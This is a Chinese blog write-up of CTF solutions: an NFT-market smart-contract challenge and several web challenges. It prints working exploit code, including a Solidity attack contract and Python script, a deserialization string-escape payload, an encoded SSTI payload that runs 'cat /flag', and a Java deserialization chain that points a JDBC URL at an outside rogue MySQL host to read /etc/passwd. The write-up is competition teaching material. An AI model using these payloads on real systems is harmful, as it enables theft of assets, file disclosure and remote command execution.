强网拟态小结-blockchian&web

强网拟态小结-blockchian&web

blockchain

分析

做法其实和TCTF的那个nft差不多,但版本修改了abi编码的漏洞不再有用,所以最后买nft3的步骤是有差别的,但前两个是一样的。

  • 从airdrop可以拿5个token,直接买NFT1
  • 挂NFT1低价 然后用purchasetest挂高价NFT1让NFTMARKET去买高价的NFT然后就有钱买NFT2了
  • 造一个假的nft3放到order的第一个,在purchaseWithCoupon里面事先会_deleteOrder一次,然后再获取我们假的nft的owner(也就是我们自己),最后getOrder(coupon.orderId).nftAddress(这也是唯一和tctf不一样的地方)获取真的nft3,但此时owner是我们自己,所以最后safeTransferFrom这里导致最后能够修改真正nft3的拥有者。

攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
pragma solidity 0.8.16;

import "./source.sol";
contract Attack {

CtfMarket public ctfMarket;
address public account;
CtfNFT public ctfNFT;
CtfToken public ctfToken;
HackerNFT public HackerNft;

function setCtfMarket_addr(address addr) public {
ctfMarket = CtfMarket(addr);
ctfNFT= CtfNFT(address(ctfMarket.ctfNFT()));
ctfToken=CtfToken(address(ctfMarket.ctfToken()));
HackerNft = new HackerNFT(address(ctfMarket),address(ctfMarket.verifier()),address(account));
}
function setaccount(address addr) public {
account = addr;

}
function attack11() public{
ctfToken.airdrop();
ctfMarket.createOrder(address(HackerNft),3,1);
this.approve(address(this), 1);
ctfToken.approve(address(ctfMarket),200000000000);
ctfToken.approve(address(ctfNFT),200000000000);
ctfToken.approve(address(ctfToken),200000000000);
ctfMarket.purchaseOrder(0);
}

function attack2() public {
ctfMarket.createOrder(address(ctfNFT),1,1);
ctfNFT.setApprovalForAll(address(ctfMarket),true);
ctfMarket.purchaseTest(address(ctfNFT),1,1337);
ctfMarket.purchaseOrder(1);
ctfMarket.purchaseOrder(1);
}
function approve(address a,uint b) public {

}
function safeTransferFrom(address a,address b,uint c) public {

}

function getFakenft() public returns (address){
return address(HackerNft);
}
function ownerOf(uint dd) public returns (address){
if(dd==2){
return address(this);
}else if(dd==3){
return address(account);
}

}


function attackfor3(uint8 v, bytes32 r, bytes32 s) public {

SignedCoupon memory scoupon;
ctfNFT.setApprovalForAll(account,true);
ctfToken.approve(address(account),200000000000);
scoupon.coupon.orderId=0;
scoupon.coupon.newprice=1;
scoupon.coupon.issuer=address(account);
scoupon.coupon.user=address(this);
scoupon.coupon.reason="";
scoupon.signature.v=v;
scoupon.signature.rs[0]=r;
scoupon.signature.rs[1]=s;
ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);

}

function attack4() public {
ctfNFT.setApprovalForAll(account,true);
ctfMarket.win();
ctfNFT.transferFrom(address(this),address(account),1);
ctfNFT.transferFrom(address(this),address(account),2);
ctfNFT.transferFrom(address(this),address(account),3);
}

function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract AA {

function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}

address issuer;
address user;
uint256 newprice;
bytes reason;
Order order;
bytes32 public hashl;
event deb(
address _issuer,
address _user,
Order order,
uint newprice,
bytes reason
);
function setinit(address _issuer, address _user, uint _newprice, address _nftaddress, uint _price, uint _tokenId) public {
issuer = _issuer;
user = _user;
newprice = _newprice;
order.nftAddress = _nftaddress;
order.price = _price;
order.tokenId = _tokenId;

bytes memory serialized = abi.encode(
"I, the issuer", issuer,
"offer a special discount for", user,
"to buy", order, "at", newprice,
"because", ""
);
hashl = keccak256(serialized);
emit deb(issuer,user,order,newprice,"");
}

function calcsign(bytes32 _ha,uint8 v, bytes32 r, bytes32 s) public view returns(address){
return ecrecover(_ha, v, r, s);
}

}
contract HackerNFT is ERC721, Ownable {
address public Market;
address public Verifier;
address public Hacker;
address public Me;

constructor(
address _marketAddress,
address _verifierAddress,
address _me
) ERC721("HackerNFT", "NFT") public {
Market = _marketAddress;
Verifier = _verifierAddress;
Hacker = msg.sender;
Me = _me;
_setApprovalForAll(address(this), Hacker, true);
_setApprovalForAll(address(Market), Hacker, true);
}

function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}

function ownerOf(uint256 tokenId) public view override returns (address) {
if (msg.sender == Verifier) {
return Me;
} else if (msg.sender == Market) {
return Market;
} else {
return Hacker;
}
}
}

攻击脚本,本地私链一键部署和攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import solcx
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *

def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 672197400,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn

def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt


def deploy_attack():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['attack.sol:Attack']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:Attack']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)

def deploy_nft():
compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['ctf.sol:CtfMarket']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['ctf.sol:CtfMarket']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_AA():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['attack.sol:AA']['bin']
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:AA']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def rsv(_hash):
signed_message = web3.eth.account.signHash(_hash, private_key)
print(signed_message.messageHash.hex())
r = '0x'+signed_message.signature.hex()[2:66]
s = '0x'+signed_message.signature.hex()[66:-2]
v = '0x'+signed_message.signature.hex()[-2:]
return r,s,v
if __name__ == '__main__':
# exp()
solcx.install_solc('0.8.16')
rpc = "http://127.0.0.1:8545"
web3 = Web3(HTTPProvider(rpc))
private_key = 'c2aa19cf83ba45863a005ed560c8c84c1f0ca38eaf5123c6cc88d67c3a9c3f03'
acct = web3.eth.account.from_key(private_key)
account_address = acct.address
chain_id = 5777
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

# attack_key = '8428b975e270727086349607d6a4d3941ce22176b89e148f956d56fce364175c'
# acct = web3.eth.account.from_key(private_key)
# account_address = acct.address

#calc signature
AA_address,AA_abi = deploy_AA()
AA_instance = web3.eth.contract(address=AA_address, abi=AA_abi)
print(AA_instance.all_functions())

contract_address,contract_abi = deploy_nft()
contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi)
print(contract_instance.all_functions())

signed_tx = contract_instance.functions.ctfNFT().call()
print("[+] ctfNFT_address is " + signed_tx)
signed_tx = contract_instance.functions.ctfNFT().call()
print("[+] ctfmarket_address is " + contract_address)
signed_tx = contract_instance.functions.ctfToken().call()
print("[+] ctfToken_address is " + signed_tx)
signed_tx = contract_instance.functions.verifier().call()
print("[+] verifier_address is " + signed_tx)

attack_address,attack_abi = deploy_attack()
attack_instance = web3.eth.contract(address=attack_address, abi=attack_abi)
print(attack_instance.all_functions())
print("[+] attack_address is " + attack_address)


#attack.setaccount()
functionSign = HexBytes(web3.sha3(text='setaccount(address)')).hex()[0:10]
setaccount_addr = generate_tx(chain_id, attack_address,functionSign + "000000000000000000000000" + account_address[2:], 0)
sign_and_send(setaccount_addr)
print("[+] account_address is " + attack_instance.functions.account().call())

#attack.setCtfMarket_addr()
functionSign = HexBytes(web3.sha3(text='setCtfMarket_addr(address)')).hex()[0:10]
setCtfMarket_addr = generate_tx(chain_id, attack_address, functionSign + "000000000000000000000000" + contract_address[2:],0)
sign_and_send(setCtfMarket_addr)
print("[+] CtfMarket_address is " + attack_instance.functions.ctfMarket().call())


#attack.attack11()
functionSign = HexBytes(Web3.sha3(text='attack11()')).hex()[0:10]
attack11_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack11_addr)
#contract.getOrder[0]
print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))

#attack.attack2()
functionSign = HexBytes(Web3.sha3(text='attack2()')).hex()[0:10]
attack2_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack2_addr)
print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
print("[+] order[1] is " + str(contract_instance.functions.getOrder(1).call()))
fakeNft_address = attack_instance.functions.HackerNft().call()
print("[+] fakeNft_address is " + fakeNft_address)

#AA.setinit
data = '''0xc2af3f15
000000000000000000000000{}
000000000000000000000000{}
0000000000000000000000000000000000000000000000000000000000000001
000000000000000000000000{}
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000003
'''.format(account_address[2:],attack_address[2:],fakeNft_address[2:]).replace('\n','').replace(' ','')
# print(data)
functionSign = HexBytes(Web3.sha3(text='setinit(address,address,uint256,address,uint256,uint256)')).hex()[0:10]
setinit_addr = generate_tx(chain_id, AA_address,data, 0)
sign_and_send(setinit_addr)

hash = AA_instance.functions.hashl().call()
r,s,v = rsv(hash)
print(v,r,s)

##attack.attackfor3()
data = '''0xf98ecaa700000000000000000000000000000000000000000000000000000000000000{}{}{}'''.format(v[2:],r[2:],s[2:])
functionSign = HexBytes(Web3.sha3(text='attackfor3(uint8,byte32,byte32)')).hex()[0:10]
attackfor3_addr = generate_tx(chain_id, attack_address,data, 0)
sign_and_send(attackfor3_addr)

##attack.attack4()
functionSign = HexBytes(Web3.sha3(text='attack4()')).hex()[0:10]
attack4_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack4_addr)

##ctfMarket.win()
functionSign = HexBytes(Web3.sha3(text='win()')).hex()[0:10]
flag_addr = generate_tx(chain_id, contract_address,functionSign, 0)
flag = sign_and_send(flag_addr)
print(contract_instance.events.SendFlag().processLog(flag["logs"][0]))

Web

ezus

读源码

1
/index.php/tm.php/%80?source

字符串逃逸反序列化读hint.php,然后读f1111444449999.txt

1
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=111111111111";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"mochu7://prankhub/../../../../../../../f1111444449999.txt";}

WHOYOUARE

nodejs 原型链污染,使用constructor.prototype代替__proto__,使用1来覆盖数组的第二个数据。运行两次。

没有人比我更懂py

ssti网上搜搜payload

1
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\143\141\164\40\57\146\154\141\147')['\162\145\141\144']()}}

NoRCE

BadAttributeValueExpException调用toString然后connect函数能打二次返序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example.demo.exp;

import com.example.demo.bean.Connect;
import com.example.demo.utils.tools;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;

public class payload {
public static void setFieldValue(Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
bos.close();
return bos.toByteArray();
}
public static byte[] serialize2(Object o) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeUTF("s00ABX");
oos.writeObject(o);
oos.close();
bos.close();
return bos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
bis.close();
ois.close();
return ois.readObject();
}
public static Object getFieldValue(Object obj, String key) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
return field.get(obj);
}
public static String getObject() throws Exception {
com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
Connect connect = new Connect("jdbc:mysql://10.91.107.14:2333/kkfine?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&username=fileread_/etc/passwd&password=kkfine","","");
setFieldValue(myBean,"conn",connect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",myBean);
String payload = new String(Base64.getEncoder().encode(serialize(badAttributeValueExpException)));
return payload;
}

public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + getObject());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",myBean);
setFieldValue(myBean,"conn",rmiConnector);

byte[] payload = serialize2(badAttributeValueExpException);

System.out.println(new String(Base64.getEncoder().encode(payload)));
String data = new String(Base64.getEncoder().encode(payload));
// deserialize(payload);
byte[] bytes = tools.base64Decode(data);

InputStream inputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String secret = data.substring(0, 6);
String key = objectInputStream.readUTF();
if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
objectInputStream.readObject();
}

}
}


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!